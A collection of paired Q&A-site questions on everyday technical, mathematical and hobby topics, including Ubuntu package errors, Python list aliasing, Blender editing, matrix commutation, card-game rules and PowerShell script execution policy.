I have read a lot of questions about reputation bug on this site, and all of them have an explanation, that reputation does not updating everywhere at the same time and in some period of time reputation display will be the same. But this bug I have noticed couple days ago, and it is not fixing. Look at screen shots:  Stack Overflow account info    Science Fiction and Fantasy account info    Meta Stack Overflow account info    Also pay attention at the number of badges.


running Ubuntu 15.10 When I try to apt-get update/upgrade, I get the following error  W: Failed to fetch http://ppa.launchpad.net/banshee-team/ppa/ubuntu/dists/wily/main/binary-amd64/Packages  404  Not Found W: Failed to fetch http://ppa.launchpad.net/banshee-team/ppa/ubuntu/dists/wily/main/binary-i386/Packages  404  Not Found   as well as the same for colingille/freshlight/ etc (can't post more than two links)  I'm not sure why, any ideas as to why this is happening?

PPA seems to be constantly offline. Whenever I use sudo apt-get update, this error is shown:  W: Failed to fetch http://ppa.launchpad.net/ 404  Not Found   How do I fix these errors?


My attempt :  Let $p$ be an irreducible element in $R$.Let $q$ be an associate of $p$.Then there exists a unit $u \in R$ such that $q = pu$.Now if $q$ were reducible then $q$ can be written as $q = ab$ where none of $a$ and $b$ are units in $R$.Then we have $pu = ab$ and so $p = (u^{-1} a) b$.Since $p$ is irreducible one of them should be a unit.Since $b$ is not a unit.So $u^{-1} a$ is a unit.Now I have stuck and can't proceed further.  Please give me a hint to complete it.  Thank you in advance.

If $p$ is an irreducible element of an integral domain $D$, and if $e$ belongs to $D^\ast$, prove that $ep$ is also ireducible .  To me it seems so profound, but I cannot get the proof . I'm trying to say that it is not irreducible, so there exists $a,b$ so that $ep=ab$ where $a,b$ don't belong to $D^\ast$....


example code:  my_list = [[]] * 4 my_list[2].append(3) print my_list   expected: [[], [], [3], []]  actual: [[3], [3], [3], [3]]  My inference is that the nested lists are copies of one another. Is there a way to achieve the expected?

I needed to create a list of lists in Python, so I typed the following: my_list = [[1] * 4] * 3  The list looked like this: [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]    Then I changed one of the innermost values: my_list[0][0] = 5  Now my list looks like this: [[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]]    which is not what I wanted or expected. Can someone please explain what's going on, and how to get around it?


I can't seem to rotate the highlighted part, if I try to do so with R it will rotate the whole object.  Can someone tell me a way to only rotate the highlighted part?  (Also thanks for the helpful replies on my previous question!)

My problem is that I sometimes lose the ability to independently translate or otherwise transform any parts of a single mesh. If I try, for example, to just translate several faces, edges, or vertices, then the entire mesh will stretch and displace itself in order to follow the translation. Or, alternatively, if I try to translate just one face then the whole mesh will move as if I'm translating in Object Mode.  I'm not really sure I know how to describe this problem properly. I don't even know how to reliably reproduce it. It seems to happen to any given mesh at random, and it doesn't stop happening to that mesh unless I delete and remake it.  I assume that I must be doing something wrong to cause this to happen. Does anyone have any ideas? Thanks.


I am going to install Python software in Ubuntu 20.04, then it shows below mentioned errors everytime:  please insert the disc labeled Ubuntu 20.04.1 LTS _Focal Fossa_ - Release amd64 (20200731) in the drive /media/cdrom/ and press [Enter]  Please help me solve my issues.

Every time I try update (using sudo apt-get update) my Ubuntu I get this problem:  W: The repository 'cdrom://Ubuntu 16.04 LTS _Xenial Xerus_ - Release amd64 (20160420.1) xenial Release' does not have a Release file. N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use. N: See apt-secure(8) manpage for repository creation and user configuration details. W: The repository 'ppa.launchpad.net/kirillshkrogalev/ffmpeg-next/ubuntu xenial Release' does not have a Release file. N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use. N: See apt-secure(8) manpage for repository creation and user configuration details. E: Failed to fetch cdrom://Ubuntu 16.04 LTS _Xenial Xerus_ - Release amd64 (20160420.1)/dists/xenial/main/binary-amd64/Packages  Please use apt-cdrom to make this CD-ROM recognized by APT. apt-get update cannot be used to add new CD-ROMs E: Failed to fetch cdrom://Ubuntu 16.04 LTS _Xenial Xerus_ - Release amd64 (20160420.1)/dists/xenial/main/binary-i386/Packages  Please use apt-cdrom to make this CD-ROM recognized by APT. apt-get update cannot be used to add new CD-ROMs E: Failed to fetch ppa.launchpad.net/kirillshkrogalev/ffmpeg-next/ubuntu/dists/xenial/main/binary-amd64/Packages  404  Not Found E: Failed to fetch ppa.launchpad.net/kirillshkrogalev/ffmpeg-next/ubuntu/dists/xenial/main/binary-i386/Packages  404  Not Found E: Some index files failed to download. They have been ignored, or old ones used instead.   How can I fix it? I use Ubuntu 16.04 LTS


I create a LOT of WP sites and therefore tons of menus.  A lot of times there is no sensible page for a top level menu item.  For instance I was creating a site with internal learning.  The top level menu item just goes to homepage.  Is this a good practice if there is no good page for them to go to or would it be better to go no where?

I'm building a horizontal menu and some of the entries on that menu will have dropdowns (sub-menus), and some won't. Those that have sub-menus are not actually pages. They're just meant to be guides for the dropdowns.  For instance, say the the horizontal menu is like follows:  Home | About Us | Products | Directions | Contact  And the "products" li item is meant to have 3 pages linked in a vertical dropdown list below it, so "products" itself doesn't actually represent a page, how can I do that in WP?  (I use WP as a CMS, with static home and inside pages. I build my own templates, style the menus in CSS, then register the menus in the functions.php and call them in the templates.) In WP you add entries to the menus via the list of pages, or by the custom links. But I don't want "products" to be linked. If I don't add a link to the custom link it won't let me add it to the menu.   Is this doable through the menus admin or do I have to approach it some other way?  Thank you for any help!


More out of curiosity, I was wondering how might I make a python script sleep for 1 second without using the time module?  Is there a computation that can be conducted in a while loop which takes a machine of n processing power a designated and indexable amount of time?

I would like to know how to put a time delay in a Python script.


Many credit cards offer cash rewards or similar programs which effectively amount to a small % discount (at the CC company's expense) for various purchases.  For instance, American Express has  of the first $6000 spent in supermarkets per year.  Granted the card has an annual fee ($75) but it is very small in comparison: A reasonable person might spend $300 a month, hence $3600 a year, on groceries, which they are buying anyway. From this they get $216 back, and they have already covered the fee and ended up $141 "in the green".  If one were to use this bonus to its fullest, spending $6000 at supermarkets, that would be $360 cash back, $285 after fees. On top of this there is still a 1% cash back after the first $6000.  This seems like a lot of money! If someone gets this card and only uses it at supermarkets (and why not, since the supermarket cash back is the biggest reason to get this card) then they end up with Amex basically paying them a few hundred every year just to use their card, almost like a negative annual fee. Doesn't Amex lose money on this?  I know that CC companies charge a transaction fee but if you spend to the $6000 bound you end up getting 4.75% of your spending paid back after the annual fee. Surely no merchant would agree to a 5% transaction fee, so the company is still losing some money on rewards even after the annual card fee and transaction fee.  Obviously, some people will underutilize the card and solve the problem:   Maybe they go to an ineligible merchant and get only the lower 1% cash back (but even if you shop only at the 1% stores, if you spend at least $625 a month you still break even on the annual fee) Maybe they spend too little on groceries and don't even make back their annual fee (but, as pointed out in the previous item, you would have to be spending hardly any money for this to happen) Maybe they don't pay their balance in full and end up paying the hefty interest and late fees (but the card requires a good credit score which this sort of person is unlikely to have)   But from the company's point of view, why even have the optimal users, like the $6000 in supermarkets and nothing else guy (not actually that unlikely, since the card requires good credit in the first place, members will be people who manage their personal finances well), who are just a money sink? For instance, they could say the cash back can only be redeemed for interest/late fee payment.  How are high cash-back programs like this a good idea for the company? I can think of some possibilities:   The promise of driving more customers through the rewards allows Amex to negotiate an even higher transaction fee with the merchants (but then you'd think they would expand the program to other merchants such as electronics retailers or online stores) They are losing money but gaining market share The "optimal users" who break even are a necessary evil, the profit comes from people who hope to get the rewards but instead end up losing money on the annual fee or late payments, and it makes up for the money lost on people who really do save money with the card   But which one is it?

I understand Visa and MasterCard make money on transaction fees, but how much (if any) of those fees do banks see? Do banks make money on people who pay their bills on time, or are reward programs paid for by the people who don't?


Find all possible $2 \times 2$ matrices A that for any $2 \times 2$ matrix B,  AB = BA.  Hint: AB = BA must hold for all B. Try matrices B that have lots of zero entries.  I'm clueless as to how to solve this problem. How should I start it? I tried plugging in values for B that "have lots of zero entries" but didn't seem to see anything that could help.

I would like to find all matrices which commute with all $2\times2$ matrices.  I started solving problem in this way:    1) I have this matrix $A$ with real numbers: $$A=\left[\begin{array}{cc}a &b\\c &d\end{array}\right]$$ 2) Matrix which commute with matrix $A$ is matrix $B$: $$B = \left[\begin{array}{cc}e& f\\ g &h\end{array}\right]$$ 3) When i solve the equation $AB=BA$, I get this: $$\left[\begin{array}{cc}ae+bg&af+bh\\ce+dg&cf+dh\end{array}\right]=\left[\begin{array}{cc}ea+cf&eb+df\\ga+ch&gb+dh\end{array}\right]$$  How I can get the general look of wanted matrix?


When a creature with undying comes back on the battlefield, does it get a +1/+1 counter or is the counter already on it?  For example: I have a , a  and an . My Geist is destroyed and comes back "with" a +1/+1 counter on it, does the counter is "placed" so it triggers Hardened Scale or Animation Module?  EDIT  There is an ambiguity on counters that are placed and cards that come with the counter already on it... are they "placed" anyway?  Does  behaves as a replacement effect like  and do they cumulate?  Does  +1/+1 initial counters behaves like on undying?

:     At the beginning of each end step, if a +1/+1 counter was placed on a permanent under your control this turn, put a +1/+1 counter on Fairgrounds Trumpeter.   :     Walking Ballista enters the battlefield with X +1/+1 counters on it.   If I bring in a new Walking Ballista - then it enters the game with the +1/+1 counters already on it. Technically you could interpret that as meaning that the +1/+1 counters were not placed on it that turn - they were already there as it entered the battlefield.  So does the trumpeter trumpet louder and the crowd cheer more when they see the ballista walk onto the field?  (Obviously if a new counter is added after the Ballista is on the field then it would, this is specifically about the replacement ability on entering the battlefield).


I came across a #define statement with the following expression. I do not understand what do the whole statement or the comma do that separate the 2 expressions within the parentheses. It seem like a function, I guess it is not.  #define LCD_SELECT_CS1 (PORTD |= (1<<3), PORTD &= ~(1<<2))

How does the comma operator work in C++?  For instance, if I do:  a = b, c;     Does a end up equaling b or c?   (Yes, I know this is easy to test - just documenting on here for someone to find the answer quickly.)  Update:  This question has exposed a nuance when using the comma operator.  Just to document this:  a = b, c;    // a is set to the value of b!  a = (b, c);  // a is set to the value of c!   This question was actually inspired by a typo in code.  What was intended to be  a = b; c = d;   Turned into  a = b,    //  <-  Note comma typo! c = d;


I'd like to backup my current Debian 9 server OS partition so I can install a clean version of Debian 10.  However, after installing Debian 10, I'd like to mount my old OS image so I can browse and restore files as needed.  I thought I would use CloneZilla but apparently you can't directly mount the images that it creates?

I'm trying to backup a linux system to an IMG file that I can then boot and run in QEMU.  NOTE: I have tested on Lubuntu and tiny core linux.  The process I have followed is:    I have 2 hard disks, sda and sdb partition sdb1 and mount sdb1 partition in /mnt/sdb  dd an empty file the size of sda to IMG file in the mounted sdb directory. dd if=/dev/zero of=/mnt/sdb/disk.img bs=x count=1 - x being the size of sda I then use fdisk on sda to output the disk layout to a script file and then load that into the disk.img file  Then mount it and copy the contents - losetup -P -f disk.img  find the loop device      e.g /dev/loop36  0  0   0 0 /mnt/sdb/disk.img  0   512  created the filesystem on the first partition of the loop device - mkfs.ext2 /dev/loop36p1 mount the partitioned loop device - mount /dev/loop36p1 /mnt/img then copy the bootsector - dd if=/dev/sda of=disk.img bs=512 count=1 conv=notrunc finally I used rsync to copy over the filesystem to the /mnt/img directory, I've had varying success with this. using:   $ rsync -aHxv / \    --exclude={"/dev/*","/proc/*","/sys/*","/tmp/*","/run/*","/mnt/*","/media/*","/lost+found"} \    /mnt/img     I've tried the exact  process using Lubuntu as shown above, the rsync command worked however when I try and run the IMG in QEMU it hangs at booting from the hard disk.   When trying the process above in tcl - the rsync command fails and when I try to boot in QEMU it says there is no bootable device.  Does anyone have any advice regarding this? or has done similar things and has a better method to achieve the goal?


I have the following string:  $scope.testStr = "This is my {test} string that needs {custom} token replacement";   That I need to process using custom token replace as follows:  $scope.test = "Test Text"; $scope.custom = "More Text";   So that when I bind the string as follows:
{{testStr}}
   It will be output as such:
This is my Test Text string that needs More Text token replacement
   I believe that regex might be my option to handle this custom token replacement, but I can't seem to figure out how to approach this. I will need this to be dynamic as the variables that are replacing the tokens will change dynamically. Thanks in advance!

Unfortunately, despite having tried to learn regex at least one time a year for as many years as I can remember, I always forget as I use them so infrequently. This year my new year's resolution is to not try and learn regex again - So this year to save me from tears I'll give it to Stack Overflow. (Last Christmas remix).  I want to pass in a string in this format {getThis}, and be returned the string getThis. Could anyone be of assistance in helping to stick to my new year's resolution?    Related questions on Stack Overflow:


So I don't know anything about makefiles but I am trying to compile multiple cpp files and one header file that contains function prototypes for each of the cpp files. I am trying to compile by using the following command:  g++ main.cpp func1.cpp func2.cpp -o hello  And I am getting the following error:  main.cpp:4:24: fatal error: funcHeader.h: No such file or directory.  I have tried following the instructions in this video  none of which seemed to work. Please tell me where I am going wrong. Thanks

In the C and C++ programming languages, what is the difference between using angle brackets and using quotes in an include statement, as follows?   #include <filename>  #include "filename"


IMDb's reference view was recently changed to include "- Reference View - IMDb" after the page title that only used to have Movie (year)  New...  <title>Movie Title (2018) - Reference View - IMDb</title>   Old...  <title>Movie Title (2018)</title>   How do i strip the stuff they added to the reference pages so I just have Title (year)?  // ==UserScript== // @name        IMDb - strip garbage from reference view page titles // @match       *://www.imdb.com/title/tt*/reference   Code makes my head spin and the above is all I can manage.

I have a webpage that implements a set of tabs each showing different content. The tab clicks do not refresh the page but hide/unhide contents at the client side.  Now there is a requirement to change the page title according to the tab selected on the page ( for SEO reasons ). Is this possible? Can someone suggest a solution to dynamically alter the page title via javascript without reloading the page?


I have the following code in C:  #include <stdio.h>   void main() {     printf("%d %d\n",sizeof(5),sizeof(5,5));        printf("%d %d\n",sizeof(5),sizeof(5.0,5));      printf("%d %d\n",sizeof(5),sizeof(5,5.0));  }   And I get the output:     4 4       4 4      4 8   I understand that sizeof(5) would return me the size of integer and sizeof(5.0) would return the size of a double, but why does it give the size of the rightmost operand in case more than one arguments are passed separated by comma? Why not the first argument or the collective size of all the arguments?  I am compiling online using OnlineGDB.com compiler for C.  Thanks for your help.


I have recently installed UBUNTU 12.04 but can not connect to the net as my wireless adapter has no drivers yet. I found some documentation on it, but I am such a noob I don’t know what to do with all this. The adapter is the Linux driver for tplink-wn725n nano wireless adapter  Is there anyone who could explain to me what I have to do with this information? ----.  someone else in another thread mentioned to try:sudo apt-get install linux-backports-modules-cw-3.6-precise-generic but I dont know how I can do that if my machine is offline. Can any of this stuff be downloaded on one machine and transfered with a USB disk?

Can you advise me on what drivers to install for the TP-LINK TL-WN725N USB wireless adapter on UBUNTU 12.04.  TP-LINK only provide Windows drivers.


Is there any efficiency difference in an explicit vs implicit inner join? For example:  SELECT * FROM table a INNER JOIN table b ON a.id = b.id;   vs.  SELECT a.*, b.* FROM table a, table b WHERE a.id = b.id;


I'm just wondering what the rationale was for this decision.  It seems kind of backwards.  It seems to me that you could reduce the number of duplicate questions by allowing members to participate in open questions rather than forcing them to ask duplicate questions.    And yes, I know this is a duplicate question.  Which proves my point!

Across the Stack Exchange network you may leave comments on a question or answer.  How do comments work? What are comments for, and when shouldn't I comment? Who can post comments? Who can edit comments? How can I format and link in comments? My comment doesn't contain some of the text I typed in it; why? My comment appears to be long enough, but I can't post it because it's too short; why? Who can delete comments? When should comments be deleted? Why can't I comment on specific posts even if I have enough reputation to comment? When can comments be undeleted? What are automatic comments? How can I link to comments? Anything else I should know about comments?  Also see the FAQ articles on  and .


I see a lot of variations on the integral symbol, but I haven't quite grasped their effects on the computation of integrals. I'm sure there are many more variations, but these are a few of the symbols I've come across that I'm uncomfortable with: $$ 1.\oint_V\\ 2.\oint_S\\ 3.\oint\\ 4.\int_S\\ 5.\int d^3x $$ Thanks in advance

Simple question here that I can't Google and have the time for to look it up through all the info on the web available... I also don't know how to import mathematical signs. Could you maybe explain that as well? Sorry for  the inconvenience.  The "f" sign in calculus is used to denote the integral, and I know it in the standard form with b above the f and a under the f, next to the f the function and then dx after that to express the integral of a function on the interval [a, b]. Now I met a another way to note it, its the same f with a circle in the middle (?) and a f with a collection of coordinates called sigma under the f and an alpha after the f, to express some kind of "volume" of a polygon? BTW it is on this site  in case this is really unreadable for you. I could understand that.  gr. and thanks


The bgl module allows us to obtain various information displayed in 3D Blender view. For example, I made a script that gets the 3D coordinate where the mouse cursor hits a object:  import bpy import bgl  """Functions for the mouse_coords_to_3D_view""" def get_viewport():     view = bgl.Buffer(bgl.GL_INT, 4)     bgl.glGetIntegerv(bgl.GL_VIEWPORT, view)     return view   def get_modelview_matrix():     model_matrix = bgl.Buffer(bgl.GL_DOUBLE, [4, 4])     bgl.glGetDoublev(bgl.GL_MODELVIEW_MATRIX, model_matrix)     return model_matrix   def get_projection_matrix():     proj_matrix = bgl.Buffer(bgl.GL_DOUBLE, [4, 4])     bgl.glGetDoublev(bgl.GL_PROJECTION_MATRIX, proj_matrix)     return proj_matrix   """Function mouse_coords_to_3D_view""" def mouse_coords_to_3D_view(x, y):         depth = bgl.Buffer(bgl.GL_FLOAT, [0.0])     bgl.glReadPixels(x, y, 1, 1, bgl.GL_DEPTH_COMPONENT, bgl.GL_FLOAT, depth)     #if (depth[0] != 1.0):     world_x = bgl.Buffer(bgl.GL_DOUBLE, 1, [0.0])     world_y = bgl.Buffer(bgl.GL_DOUBLE, 1, [0.0])     world_z = bgl.Buffer(bgl.GL_DOUBLE, 1, [0.0])     view1 = get_viewport()     model = get_modelview_matrix()     proj = get_projection_matrix ()        bgl.gluUnProject(x, y, depth[0],                       model, proj,                      view1,                      world_x, world_y, world_z)     return world_x[0], world_y[0], world_z[0]   """drawing point OpenGL in mouse_coords_to_3D_view""" def draw_callback_px(self, context):     # mouse coordinates relative to 3d view     x, y = self.mouse_path      # mouse coordinates relative to Blender interface     view = get_viewport()     gmx = view[0] + x     gmy = view[1] + y      # draw 3d mouse OpenGL point in the 3D View     mouse3d = mouse_coords_to_3D_view(gmx, gmy)             bgl.glEnable(bgl.GL_BLEND)     bgl.glColor4f(1.0, 0.8, 0.0, 1.0)     bgl.glPointSize(30)         bgl.glBegin(bgl.GL_POINTS)     bgl.glVertex3f(*(mouse3d))     bgl.glEnd()      context.area.header_text_set("hit: %.2f %.2f %.2f" % mouse3d)  class ModalDrawOperator(bpy.types.Operator):     """Draw a point with the mouse"""     bl_idname = "view3d.modal_operator"     bl_label = "Simple Modal View3D Operator"         def modal(self, context, event):         context.area.tag_redraw()           if event.type == 'MOUSEMOVE':             self.mouse_path = (event.mouse_region_x, event.mouse_region_y)                      elif event.type == 'LEFTMOUSE':             bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')             context.area.header_text_set()             return {'FINISHED'}           elif event.type in {'RIGHTMOUSE', 'ESC'}:             bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')             context.area.header_text_set()             return {'CANCELLED'}           return {'PASS_THROUGH'}       def invoke(self, context, event):         # the arguments we pass the the callback         args = (self, context)         # Add the region OpenGL drawing callback         # draw in view space with 'POST_VIEW' and 'PRE_VIEW'         self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')         self.mouse_path = []         #self.wx = bpy.context.window.width         #self.wy = bpy.context.window.height         context.window_manager.modal_handler_add(self)         return {'RUNNING_MODAL'}   def register():     bpy.utils.register_class(ModalDrawOperator)   def unregister():     bpy.utils.unregister_class(ModalDrawOperator)   if __name__ == "__main__":     register()   But now I want to get a list with the 2D vertices in screen. How can I get it without having to convert 3D to 2D? If anyone knows, please tell me. Can be the Vertices index too

I have a simple mesh of a cube.  I would like to know what are the coordinates of each vertex in the rendered image (i.e. for each 3d vertex I'd like to know it's pixel coordinates).  Is there a way to do this?  Clarification:  I'm experimenting with a pose estimation algorithm (i.e. finding out the 3d pose of the object) from a (set of) 2d image(s).  Instead of taking an image of a real object with a real camera I synthetically render the image of a cube using blender.  In this way I know the pose of the object and the intrinsics of the camera, so I can easily validate the results of the pose estimation algorithm. Pose estimation algorithms usually require to provide them with world points on the object and the corresponding image points.  So what I'm looking for is a way to produce a dump of correspondences of the 3d point <--> image point as a byproduct of the rendering procedure. Thanks, Alex


I have enum:  public enum Days {     Monday = 1,     Tuesday = 2,     Wednesday = 3,     Thursday = 4,     Friday = 5,     Saturday = 6,     Sunday = 7 }   I use this enum to insert value as int as ID into database. But how can I "map" enum Days with that database IDs while I am retrieving value from database to show name of days instead of that database ID in my view?  For example I have a list of data shown, and currently I have DayId and ID shown, but how can I map this ID to show enum text (Monday, Tuesday,...) instead of ID(1,2,3..) ?

How can an int be cast to an enum in C#?


Could an electron be considered antimatter? Since annihilation occurs between the same types of particles and nucleons are baryons consisting of matter quarks, while electrons are leptons, they shouldn't annihilate, right?   Is there other physics that prevents electrons being considered as antimatter, like chirality for example? If yes, what?

The identification of an electron as a particle and the positron as an antiparticle is a matter of convention. We see lots of electrons around us so they become the normal particle and the rare and unusual positrons become the .  My question is, when you have made the choice of the electron and positron as particle and anti-particle does this automatically identify every other particle (every other fermion?) as normal or anti?  For example the proton is a particle, or rather the quarks inside are. By considering the interactions of an electron with a quark inside a proton can we find something, e.g. a conserved quantity, that naturally identifies that quark as a particle rather than an antiparticle? Or do we also just have to extend our convention so say that a proton is a particle rather than an antiparticle? To complete the family I guess the same question would apply to the neutrinos.


I can look at my profile and get a list of "questions answered" and "comments made".  Q: Is there a similar way to get a list of "posts deleted"?  Q: What is the protocol for requesting "un-delete"?

What circumstances can cause a question or answer to be deleted, and what does that actually mean?    How can a post be deleted? When can't I delete my own post? Can I still see my post even after it's deleted? Can I see a list of my deleted posts? How can I undelete one of my posts? What does deletion mean for a post? How do votes to delete work? What are the criteria for deletion? What else should I know about deleted posts? If I flag my question with a request to delete it, what will happen?       For more information, see the articles about  and  in the .


Long story short I'm a American dreamer (a immigrant brought to the USA as a child but is illegal) and recently returned to my home country and not knowing the language here have had a hard time at school I am now 22 and think I can finally get somewhere I just need to teach my self Biology and Chemistry (Childhood dream was to be a biologist of some sorts) but I don't know where to start.  Can anyone recommend and books how how I should start my studying? I need to learn this stuff to be able to get into a university here. I wan't to start from the start and work my way up to University level.   Any sort of help would be greatly appreciated  Thank you in advance  Edit: TLDR: Basically I'm asking how I can home school my self to learn Biology and Chemistry to be able to get into a University and learn Biology and Chemistry on a University degree.

I want to study biology. I have zero previous knowledge of biology but I know Physics, Chemistry and Maths. From which book should I start? I have heard about Campbell Biology, but it is very costly in India(more than my 1 month's earning). So please suggest books that:       Are cheap OR  could be found on internet  Require no previous knowledge of biology   Contain no technical mistakes Adequately explain the topics which they deal with and also mention some history of the topics      Edit  I am not looking for online videos. I want books; my internet is slow and there are some other problems. You can also tell costly books--Perhaps I could find them in the library or could print it somehow. If Campbell Biology book is available online then please give me the download link.


I just noticed when I'm away from my laptop running Windows 7 Ultimate 32-bit, after a while CPU fan starts high speed working, but anytime I return back to PC with first input by mouse/keyboard the process seems to terminates.   When I look in task manager's CPU usage history page, it shows 90-100% CPU usage for the past period of time, but for current time CPU usage is low around 0-10%, so I can't find the process using the CPU. Every process explorer I know shows processes for right now, only one application is there logging history of processes at processhistory.sourceforge.net, but after testing, it seems that is not much informative, and I failed to make it showing past processes and their CPU usages.  How could I simply find the process causing this CPU usage?

Is there any program that logs the CPU usage of all programs? I want to know, over a period of one month, which programs use the CPU more intensely.


Let $n \in \mathbb{Z}$ with $n\geq2$, and let $a\in \mathbb{Z}$.  Prove that $[a]_n$ is a unit in $\mathbb{Z}_n$ (i.e. $[a]_n$ has a multiplicative inverse) if and only if $gcd(a, n) = 1$.  I know for $[a]_n$ to be a unit, there needs to exist an element $[b]_n$ such that $[a]_n[b]_n$=1. I then know we must end up with $ax+ny=1$ for some integers $x$ and $y$. I am not sure how to get here though.  What I have tried: I have tried $[a]_n[b]_n$=1 and from this, going to $(a=qn+x)(b=kn+y)=1$, but I do not think I can go anywhere from this.  Can anyone help, please?

I think the following is true:  If $q$ is coprime to $a$ then $a\mid (nq-1)$ for some $n\in\mathbb Z$.  I have started to first reducing $n\in\mathbb Z$ to $n\in\{1,\ldots,a-1\}$ and then considering all the cases $q = ka + j$ for $j=1,2,3,\ldots,a-1$. I stopped at $j=3$ and found that this is kinda messy. Does anyone have an elegant proof for this (maybe using some results from number theory)?  [Note: question has been generalized from prime $q\nmid a$ to $\,q$ coprime to $a$]


I was recently watching a YouTube video of Hak5 and one of his videos were of the vulnerability of bypassing UAC and escalation of privileges through a .ps1 script. You can check the video out . But when experimenting on my own machine, PowerShell throws an error:  Image Source: StanleyUlili Scripts are disabled to be run in my PowerShell. I searched on the web but did not find a good solution neither many of them worked. How can I enable running scripts in PowerShell without running PowerShell as an administrator? Any help is highly appreciated.

When I try to execute my PowerShell script I get this error:     File C:\Common\Scripts\hello.ps1 cannot be loaded because the execution of scripts is disabled on this system. Please see "get-help about_signing" for more details.   At line:1 char:13   + .\hello.ps1 <<<<       + CategoryInfo          : NotSpecified: (:) [], PSSecurityException       + FullyQualifiedErrorId : RuntimeException


I am asked to prove that the cylinder and the punctured plane are homeomorphic.   I understand that I need to find a function that maps every point in the plane to a point on the cylinder.   I can represent every point on the plane in polar coordinates and now I just need to find a mapping from each point in the plane in R^2 to the cylinder in R^3.   I have found that a solution is $f(r\cos\theta,r\sin\theta)=(\cos\theta,\sin\theta,\log(r))$ which makes sense except I cannot understand why  $f(r\cos\theta,r\sin\theta)=(\cos\theta,\sin\theta,r)$ would not be a solution. Since $r \in (-\infty,\infty)$, wouldn't this still result in a cylinder?

Are there any specific 'tricks' or 'techniques' in finding homeomorphisms between topological or metric spaces?  I'm trying to construct a homeomorphism between $\mathbb{R} \times S^1 \to \mathbb{R}^2 \setminus \{(0,0)\}$ but I'm having trouble even visualizing how this is going to work. I'm thinking some sort of stereographic projection from the circle and then including the $\mathbb{R}$ somehow but I'm stuck. Any ideas?


If $\frac {1}{p}+\frac {1}{q}=1$ and $a,b \ge 0$ , then prove $ab\le \frac{a^p}{p}+\frac{b^q}{q}$ . I can't find a simple and short way to prove this. Any hint would work. Thanks in advance!

OK guys I have this problem:  For $x,y,p,q>0$ and $ \frac {1} {p} + \frac {1}{q}=1 $ prove that $ xy \leq\frac{x^p}{p} + \frac{y^q}{q}$  It says I should use Jensen's inequality, but I can't figure out how to apply it in this case. Any ideas about the solution?


On our servers, we use Remote Desktop for remote administration only (the default administrative connections that are limited to two-sessions per server and don't require extra licensing).  Occasionally, we need to open Remote Desktop Services Manager to see if another session is open and possible kill it.  Under Windows Server 2012, you still have the administrative remote desktop, but the Remote Desktop Services Manager is gone.  You apparently need to configure the server for RDS deployment (which requires extra licensing and can't be done on a domain controller) in order to list which sessions are open and terminate any.  Is there any way, on Windows Server 2012 with only the administrative remote desktop, to list what sessions are open and possibly terminate them?

In Windows 2003 and 2008 we had Terminal Services Manager (see screenshot below). However in Windows server 2012 it's .   Does anyone know how to access the list of currently remotely logged on users in Windows 2012 through a similar tool or some other way?    (I tried connecting to Windows 2012 from Windows 2008, that's why you see "win2012" in the TSM groups list. But that didn't quite work, and that's not a solution to my problem either. I was just trying to somehow manage remote users on the Win 2012 server.)


I'm doing my MSc. in Computational Mathematics in Central Europe. Right after finishing my Bachelor's degree I began to work in our National Supercomputing Center, a research institute that is associated with the university where I'm studying. It is considered quite a prestigious position in my country. Because of this offer I quit my job in the industry.  At first, I was enthusiastic about the research topic and after several months I was assigned to the second project (completely different from the first one).  This job began to consume almost all my time, so I gave up all my free-time activities and devoted myself just to this research. Because of the amount of work here I got into some serious problems with school projects and exams, but, so far, I managed to pass them.  In the first project my job is the implementation of some direct solvers, but some time ago we found out, that the technology used in the implementation is not suitable to our problem at all, so this solver will be useful just in some special cases, or possibly, it'll be unusable at all.  The second project appeared well - we managed to write some papers and tried to publish them. This week I found out that all of them were rejected.  Now I feel terribly disappointed and inferior to the others. All my colleagues have some publications, because, their other projects are usually successful. I'm working on two projects, where both of them are now just a waste of time for me, because I'm not going to have even one publication from them.  Normally I would try to discuss this with our team leader, but, to be honest, I'm scared to do that. He's not very sympathetic to the fact I'm still studying nor to the fact I'm there just for part-time job, so I shouldn't be working this much. I'm afraid he'll simply tell me, that in my position I should be glad to be working there at all, or something like that.  I'm not asking about some "improvement" of my personal feelings, as in  - I'd rather like to know, if it's a common situation and if I can ask to be assigned to another research topic (I have no prior experience with research, so I don't know if it's considered impolite etc.).

I am a third year (starting fourth year in the fall) PhD student in mathematics. I've passed all qualifying exams and am currently doing research. As far as I can tell, I am not doing poorly. I have the good fortune of having a great advisor, being in a very supportive department, and having friends and family who genuinely care about my success.   The fact is research is hard. It appears to consist primarily of staring at a problem for days and days and days without getting anywhere. Sometimes, rarely, I do figure something out and that feels wonderful, but the overwhelming majority of my time appears to be spent banging my head against a mostly figurative wall. I am not complaining about the material being hard, and I am not averse to putting in hard work, but I get frequently discouraged when I realize the vast volumes of mathematics that I yet know nothing about (and probably never will). It's very hard to quantify progress - in particular, there are too few tangible returns after too many hours worked. I find myself thinking along the lines of "Oh, if only someone actually smart were thinking about this problem they would have solved it in moments" and so on.   I've talked about this to some number of people; here is some advice I have received:   Take a day off. Putting in hours upon hours of trying things doesn't magically lead to a solution, particularly if the brain is tired and just wants to sleep. Have a hobby. Since math research doesn't exactly provide instant gratification, a hobby might provide some instead.  Talk to other graduate students. Realize that many graduate students go through this.   I'm interested to know how other folks have dealt with being discouraged as a graduate student. Does it get better with time and experience? Is this a sign that research is not for me and that I should seriously consider a life outside academia?


I am wanting to set up a split PC, half Windows XP, half Ubuntu 13.04.  I want to use Linux for internet surfing, YouTube, crackle, and viewing hulu videos. My PC is an older Dell C521, 1.87GHz, 1.5 GB ram, 32-bit, 80GB HD.  Will this be better than present slow slow slow Windows XP? I need it for internet mostly. I would consider dumping Windows XP later on if I get the hang of the Linux distro.

This is the third time I've tried to install Ubuntu Server 14.04.03 64-bit on the same laptop, and each time it caused different problems.  Each time I wrote the same iso image to a USB flash drive by using a different application and OS.   Universal USB Installer (pendrivelinux.com) from Windows WinImage writer from Windows built-in image writer from Linux Mint 17.2    The iso image is the same in all three cases, the USB flash drive is the same, and the laptop is the same. However each time the installation of Ubuntu gave me different installation options. For example, the last time I installed Ubuntu, it didn't show all the packages to choose while installing (Basic Ubuntu server, etc.).


